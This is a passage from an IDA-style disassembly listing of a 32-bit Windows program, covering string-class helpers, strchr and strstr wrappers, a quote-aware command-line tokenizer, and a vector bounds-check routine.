sub_409AE0+11j retn sub_409AE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B10 proc near ; CODE XREF: sub_401988j arg_0 = dword ptr 4 mov al, byte_44916A push esi test al, al mov esi, ecx jz short loc_409B46 push edi nop call near ptr 2841830h mov edi, dword_5118CC push 0FFFFFFF5h call edi push 0FFFFFFF4h mov [esi], eax call edi mov [esi+4], eax mov eax, [esp+8+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], eax pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_409B46: ; CODE XREF: sub_409B10+Aj mov ecx, [esp+4+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], ecx pop esi retn 4 sub_409B10 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B80 proc near ; CODE XREF: sub_401CEEj mov al, byte_44916A push esi test al, al mov esi, ecx jz short loc_409B9F nop call near ptr 2841C6Fh mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0FFFFFFFFh loc_409B9F: ; CODE XREF: sub_409B80+Aj mov byte ptr [esi+8], 0 pop esi retn sub_409B80 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409BC0 proc near ; CODE XREF: sub_40142Ej mov eax, ecx xor ecx, ecx mov dword ptr [eax], offset off_43F010 mov [eax+9], ecx mov [eax+11h], ecx mov [eax+4], cl mov [eax+0Dh], ecx retn sub_409BC0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409BF0: ; CODE XREF: ___:00402081j ; ___:loc_40218Fj push esi mov esi, ecx call sub_401226 test byte ptr [esp+8], 1 jz short loc_409C08 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409C08: ; CODE XREF: ___:00409BFDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C20 proc near ; CODE XREF: sub_401870j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43F010 mov [esi+9], ebx mov [esi+11h], ebx call sub_4015E1 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409C20 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C60 proc near ; CODE XREF: sub_4014D3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43F010 mov [esi+9], ebx mov [esi+11h], ebx call sub_401FDC mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409C60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409CA0 proc near ; CODE XREF: sub_402112j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push ebx push esi mov esi, ecx push eax lea ecx, [esp+1Ch+var_10] push offset dword_4447F4 push ecx mov dword ptr [esi], offset off_43F010 nop call sub_5F74D1 add esp, 0Ch lea edx, [esp+18h+var_10] xor ebx, ebx mov ecx, esi push edx mov [esi+9], ebx mov [esi+11h], ebx call sub_4015E1 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx add esp, 10h retn 4 sub_409CA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D10 proc near ; CODE XREF: sub_401226j push esi mov esi, ecx push edi xor edi, edi mov eax, [esi+9] mov dword ptr [esi], offset off_43F010 cmp eax, edi jz short loc_409D2C push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D2C: ; CODE XREF: sub_409D10+11j mov eax, [esi+0Dh] mov [esi+9], edi cmp eax, edi jz short loc_409D3F push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D3F: ; CODE XREF: sub_409D10+24j mov [esi+0Dh], edi mov [esi+11h], edi pop edi pop esi retn sub_409D10 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D60 proc near ; CODE XREF: sub_4015E1j arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx test edi, edi jz short loc_409DCA or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+9] not ecx dec ecx test eax, eax mov ebp, ecx jz short loc_409D8A push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D8A: ; CODE XREF: sub_409D60+1Fj lea ebx, [ebp+2] push ebx call sub_437AEA ; --------------------------------------------------------------------------- db 8Bh dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch dd 51500956h, 0C9E89052h, 837783DCh db 0C4h, 0Ch ; --------------------------------------------------------------------------- loc_409DCA: ; CODE XREF: sub_409D60+Cj pop edi pop esi pop ebp pop ebx retn 4 sub_409D60 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409E00 proc near ; CODE XREF: sub_401FDCj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015E1 pop esi retn 4 sub_409E00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409E30: ; CODE XREF: ___:00401A5Aj mov eax, [esp+4] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+8] push offset dword_4447F4 push ecx nop call sub_5F74D1 add esp, 0Ch lea edx, [esp+4] mov ecx, esi push edx call sub_4015E1 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409E80 proc near ; CODE XREF: sub_401AAFj arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov ebx, ecx test edi, edi jz loc_409F12 or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [ebx+11h] not ecx dec ecx mov esi, ecx add esi, edi lea eax, [esi+1] push eax call sub_437AEA ; --------------------------------------------------------------------------- mov edi, [ebx+9] add esp, 4 test edi, edi mov ebp, eax jz short loc_409F12 or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+11h], esi repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov edi, [esp+10h+arg_0] or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov esi, edi mov edx, ecx mov edi, ebp or ecx, 0FFFFFFFFh repne scasb mov ecx, edx dec edi shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx+9] test eax, eax jz short loc_409F0F push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409F0F: ; CODE XREF: sub_409E80+84j mov [ebx+9], ebp loc_409F12: ; CODE XREF: sub_409E80+Cj ; sub_409E80+36j pop edi pop esi pop ebp pop ebx retn 4 sub_409E80 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F50 proc near ; CODE XREF: sub_4016C7j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_401AAF pop esi retn 4 sub_409F50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F80 proc near ; CODE XREF: sub_401140j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+18h+var_10] push offset dword_4447F4 push ecx call sub_5F74D1 nop add esp, 0Ch lea edx, [esp+14h+var_10] mov ecx, esi push edx call sub_401AAF pop esi add esp, 10h retn 4 sub_409F80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409FD0 proc near ; CODE XREF: sub_4012EEj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_409FE7 mov edx, [ecx+9] xor eax, eax test edx, edx setnz al pop esi retn 4 ; --------------------------------------------------------------------------- loc_409FE7: ; CODE XREF: sub_409FD0+7j mov eax, [ecx+9] push ebx loc_409FEB: ; CODE XREF: sub_409FD0+3Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_40A016 test cl, cl jz short loc_40A00F mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_40A016 add eax, 2 add esi, 2 test cl, cl jnz short loc_409FEB loc_40A00F: ; CODE XREF: sub_409FD0+27j pop ebx xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A016: ; CODE XREF: sub_409FD0+23j ; sub_409FD0+33j sbb eax, eax pop ebx sbb eax, 0FFFFFFFFh pop esi retn 4 sub_409FD0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A040 proc near ; CODE XREF: sub_401B86j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_40A040 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A070 proc near ; CODE XREF: sub_40150Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jnz short loc_40A083 mov edx, [ecx+9] test edx, edx setnz al retn 4 ; --------------------------------------------------------------------------- loc_40A083: ; CODE XREF: sub_40A070+6j push eax mov eax, [ecx+9] push eax call near ptr 77C4624Eh nop add esp, 8 retn 4 sub_40A070 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0B0 proc near ; CODE XREF: sub_4021D0j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_40A0B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0E0 proc near ; CODE XREF: sub_401CD0j push esi mov esi, ecx mov eax, [esi+9] test eax, eax jz short loc_40A0F3 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A0F3: ; CODE XREF: sub_40A0E0+8j mov dword ptr [esi+9], 0 pop esi retn sub_40A0E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A110 proc near ; CODE XREF: sub_40102Dj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_437B30 mov eax, [esp+arg_2004] test eax, eax jz short loc_40A152 lea ecx, [esp+arg_2008] lea edx, [esp+0] push ecx push eax push 2000h push edx call near ptr 77C3FF8Ah nop mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_4015E1 loc_40A152: ; CODE XREF: sub_40A110+13j add esp, 2000h retn sub_40A110 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A180 proc near ; CODE XREF: sub_401D34j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401316 retn 4 sub_40A180 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1A0 proc near ; CODE XREF: sub_401316j arg_0 = byte ptr 4 push ebx mov ebx, dword_511AEC push esi push edi movsx edi, [esp+0Ch+arg_0] mov esi, ecx push edi mov eax, [esi+9] push eax call ebx ; strchr add esp, 8 test eax, eax jnz short loc_40A1C4 pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A1C4: ; CODE XREF: sub_40A1A0+1Cj mov ecx, [esi+9] push edi push ecx call ebx ; strchr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A1A0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1F0 proc near ; CODE XREF: sub_4018B1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401816 retn 4 sub_40A1F0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A210 proc near ; CODE XREF: sub_401816j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_401389 push eax mov ecx, esi call sub_402135 pop esi retn 8 sub_40A210 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A240 proc near ; CODE XREF: sub_4013EDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402135 retn 4 sub_40A240 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A260 proc near ; CODE XREF: sub_402135j arg_0 = dword ptr 4 push ebx push esi push edi mov edi, [esp+0Ch+arg_0] test edi, edi mov esi, ecx jnz short loc_40A275 pop edi pop esi xor eax, eax pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A275: ; CODE XREF: sub_40A260+Bj mov eax, [esi+9] mov ebx, dword_511B04 push edi push eax call ebx ; strstr add esp, 8 test eax, eax jnz short loc_40A28F pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A28F: ; CODE XREF: sub_40A260+27j mov ecx, [esi+9] push edi push ecx call ebx ; strstr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A260 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A2D0 proc near ; CODE XREF: sub_401C71j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx test edi, edi jnz short loc_40A2E3 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A2E3: ; CODE XREF: sub_40A2D0+Aj mov eax, [esi+9] mov [esi+11h], edi test eax, eax jz short loc_40A2F6 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A2F6: ; CODE XREF: sub_40A2D0+1Bj push ebx lea ebx, [edi+1] push ebx call sub_437AEA sub_40A2D0 endp ; --------------------------------------------------------------------------- mov ecx, ebx mov edi, eax mov edx, ecx xor eax, eax shr ecx, 2 mov [esi+9], edi add esp, 4 rep stosd mov ecx, edx pop ebx and ecx, 3 rep stosb mov eax, [esi+9] pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A350 proc near ; CODE XREF: sub_4013E3j mov eax, [ecx+11h] retn sub_40A350 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A370 proc near ; CODE XREF: sub_4012B2j var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A370 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebp mov ebp, [esp+30h+arg_8] push esi xor esi, esi cmp ebp, 1 mov [esp+34h+var_2C], ecx mov [esp+34h+var_28], esi jge short loc_40A3C2 mov esi, [esp+34h+arg_0] push offset byte_448F40 mov ecx, esi call sub_401870 mov eax, esi pop esi pop ebp mov ecx, [esp+2Ch+var_C] mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- loc_40A3C2: ; CODE XREF: sub_40A370+2Bj push ebx push edi lea ecx, [esp+3Ch+var_24] call sub_40142E mov [esp+3Ch+var_4], esi lea esi, [ebp+1] push esi call sub_437AEA sub_40A370 endp ; --------------------------------------------------------------------------- mov ecx, esi mov ebx, eax mov edx, ecx xor eax, eax mov edi, ebx add esp, 4 shr ecx, 2 rep stosd mov ecx, edx mov edx, [esp+44h] and ecx, 3 push ebx rep stosb mov eax, [esp+14h] mov ecx, ebp mov edi, ebx mov esi, [eax+9] add esi, edx mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+1Ch] call sub_4015E1 push ebx call sub_437AD2 ; --------------------------------------------------------------------------- mov esi, [esp+44h] add esp, 4 lea eax, [esp+18h] mov ecx, esi push eax call sub_4014D3 lea ecx, [esp+18h] call sub_401226 mov ecx, [esp+30h] pop edi mov eax, esi pop ebx pop esi pop ebp mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A4A0 proc near ; CODE XREF: sub_401E47j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi push edi mov esi, ecx mov [esp+0Ch+var_4], 0 call sub_4013E3 mov ecx, [esp+0Ch+arg_4] mov edi, [esp+0Ch+arg_0] sub eax, ecx push eax push ecx push edi mov ecx, esi call sub_4012B2 mov eax, edi pop edi pop esi pop ecx retn 8 sub_40A4A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A4E0: ; CODE XREF: ___:0040194Cj push ecx push esi mov esi, [esp+0Ch] push 1 mov ecx, esi mov dword ptr [esp+8], 0 call sub_402112 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A510 proc near ; CODE XREF: sub_4011EAj var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A510 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi mov edi, [esp+44h+arg_8] mov esi, ecx test edi, edi mov [esp+44h+var_38], 0 jnz short loc_40A551 mov esi, [esp+44h+arg_0] push offset byte_448F40 mov ecx, esi call sub_401870 jmp loc_40A684 ; --------------------------------------------------------------------------- loc_40A551: ; CODE XREF: sub_40A510+2Aj lea eax, [esp+44h+arg_8] lea ecx, [esp+44h+var_34] push eax call sub_40169A mov ecx, [esi+9] mov [esp+44h+var_4], 1 push ecx lea ecx, [esp+48h+var_24] call sub_401870 lea ecx, [esp+44h+var_24] mov byte ptr [esp+44h+var_4], 2 call sub_4014DD mov [esp+44h+var_3C], eax mov cl, [eax] test cl, cl jz loc_40A635 push ebx loc_40A591: ; CODE XREF: sub_40A510+11Ej mov dl, [edi] cmp cl, dl jnz short loc_40A5A0 loc_40A597: ; CODE XREF: sub_40A510+8Ej inc eax mov [esp+48h+var_3C], eax cmp [eax], dl jz short loc_40A597 loc_40A5A0: ; CODE XREF: sub_40A510+85j cmp byte ptr [eax], 22h setz bl test bl, bl jz short loc_40A5AF inc eax mov [esp+48h+var_3C], eax loc_40A5AF: ; CODE XREF: sub_40A510+98j lea edx, [esp+48h+var_3C] lea ecx, [esp+48h+var_34] push edx call sub_401997 mov eax, [esp+48h+var_3C] test bl, bl mov cl, [eax] jz short loc_40A5FF test cl, cl jz short loc_40A5E7 loc_40A5CB: ; CODE XREF: sub_40A510+D5j cmp cl, 22h jnz short loc_40A5DC mov cl, [eax+1] cmp cl, 20h jz short loc_40A5E7 test cl, cl jz short loc_40A5E7 loc_40A5DC: ; CODE XREF: sub_40A510+BEj inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A5CB loc_40A5E7: ; CODE XREF: sub_40A510+B9j ; sub_40A510+C6j ... cmp byte ptr [eax], 0 jz short loc_40A62A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] mov cl, [eax+1] test cl, cl jz short loc_40A62A add eax, 2 jmp short loc_40A626 ; --------------------------------------------------------------------------- loc_40A5FF: ; CODE XREF: sub_40A510+B5j test cl, cl jz short loc_40A614 mov dl, [edi] loc_40A605: ; CODE XREF: sub_40A510+102j cmp cl, dl jz short loc_40A614 inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A605 loc_40A614: ; CODE XREF: sub_40A510+F1j ; sub_40A510+F7j mov cl, [eax] test cl, cl jz short loc_40A62A cmp cl, [edi] jnz short loc_40A62A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] inc eax loc_40A626: ; CODE XREF: sub_40A510+EDj mov [esp+48h+var_3C], eax loc_40A62A: ; CODE XREF: sub_40A510+DAj ; sub_40A510+E8j ... mov cl, [eax] test cl, cl jnz loc_40A591 pop ebx loc_40A635: ; CODE XREF: sub_40A510+7Aj lea ecx, [esp+44h+var_34] call sub_4011F9 mov ecx, [esp+44h+arg_4] cmp ecx, eax jb short loc_40A64D push offset byte_448F40 jmp short loc_40A65A ; --------------------------------------------------------------------------- loc_40A64D: ; CODE XREF: sub_40A510+134j push ecx lea ecx, [esp+48h+var_34] call sub_401F82 mov eax, [eax] push eax loc_40A65A: ; CODE XREF: sub_40A510+13Bj mov esi, [esp+48h+arg_0] mov ecx, esi call sub_401870 lea ecx, [esp+44h+var_24] mov [esp+44h+var_38], 1 call sub_401226 lea ecx, [esp+44h+var_34] mov byte ptr [esp+44h+var_4], 0 call sub_401596 ; --------------------------------------------------------------------------- loc_40A684: ; CODE XREF: sub_40A510+3Cj mov ecx, [esp+44h+var_C] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_40A510 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A710 proc near ; CODE XREF: sub_4016B8j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx mov eax, [esp+4+arg_8] mov edx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push 0 push eax push edx push esi mov [esp+18h+var_4], 0 call sub_4011EA mov eax, esi pop esi pop ecx retn 0Ch sub_40A710 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A750 proc near ; CODE XREF: sub_40202Cj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015E1 pop esi retn 4 sub_40A750 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A780 proc near ; CODE XREF: sub_401A9Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015E1 retn 4 sub_40A780 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7A0 proc near ; CODE XREF: sub_401479j arg_0 = dword ptr 4 mov eax, [ecx+9] mov ecx, [esp+arg_0] add eax, ecx retn 4 sub_40A7A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A7C0: ; CODE XREF: ___:004014A6j mov eax, [ecx+9] mov ecx, [esp+4] add eax, ecx retn 4 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7E0 proc near ; CODE XREF: sub_401389j mov eax, [ecx+9] retn sub_40A7E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A800 proc near ; CODE XREF: sub_4017EEj mov eax, [ecx+9] retn sub_40A800 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A820 proc near ; CODE XREF: sub_4014DDj mov eax, [ecx+9] retn sub_40A820 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A840 proc near ; CODE XREF: sub_40169Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_40A840 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A870 proc near ; CODE XREF: sub_401596j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019B5 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF sub_40A870 endp ; --------------------------------------------------------------------------- xor eax, eax loc_40A898: ; DATA XREF: ___:00446544o ; ___:00446588o ... mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8C0 proc near ; CODE XREF: sub_4011F9j mov edx, [ecx+4] test edx, edx jnz short loc_40A8CA xor eax, eax retn ; --------------------------------------------------------------------------- loc_40A8CA: ; CODE XREF: sub_40A8C0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_40A8C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8F0 proc near ; CODE XREF: sub_401F82j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_4011F9 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_40A908 mov ecx, esi call sub_401F05 loc_40A908: ; CODE XREF: sub_40A8F0+Fj mov ecx, esi call sub_401D2F lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_40A8F0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A930 proc near ; CODE XREF: sub_401997j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401659 push eax mov ecx, esi call sub_4016F9 pop esi retn 4 sub_40A930 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A960 proc near ; CODE XREF: sub_401D2Fj mov eax, [ecx+4] retn sub_40A960 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A980 proc near ; CODE XREF: sub_401659j mov eax, [ecx+8] retn sub_40A980 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9A0 proc near ; CODE XREF: sub_4016F9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401D2F mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_4013D9 mov ecx, edi call sub_401D2F lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_40A9A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9F0 proc near ; CODE XREF: sub_4019B5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_40AA10 loc_40AA01: ; CODE XREF: sub_40A9F0+1Ej push esi mov ecx, edi call sub_4018C0 add esi, 4 cmp esi, ebx jnz short loc_40AA01 loc_40AA10: ; CODE XREF: sub_40A9F0+Fj pop edi pop esi pop ebx retn 8 sub_40A9F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AA30: ; CODE XREF: sub_401F05j push 0FFFFFFFFh push offset loc_439DB9 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3] lea ecx, [esp+4] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" call near ptr 76081F67h nop lea ecx, [esp+4] mov dword ptr [esp+38h], 0 push ecx lea ecx, [esp+18h] nop call near ptr 760A0430h lea edx, [esp+14h] push offset dword_440088 push edx call sub_437B22 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U 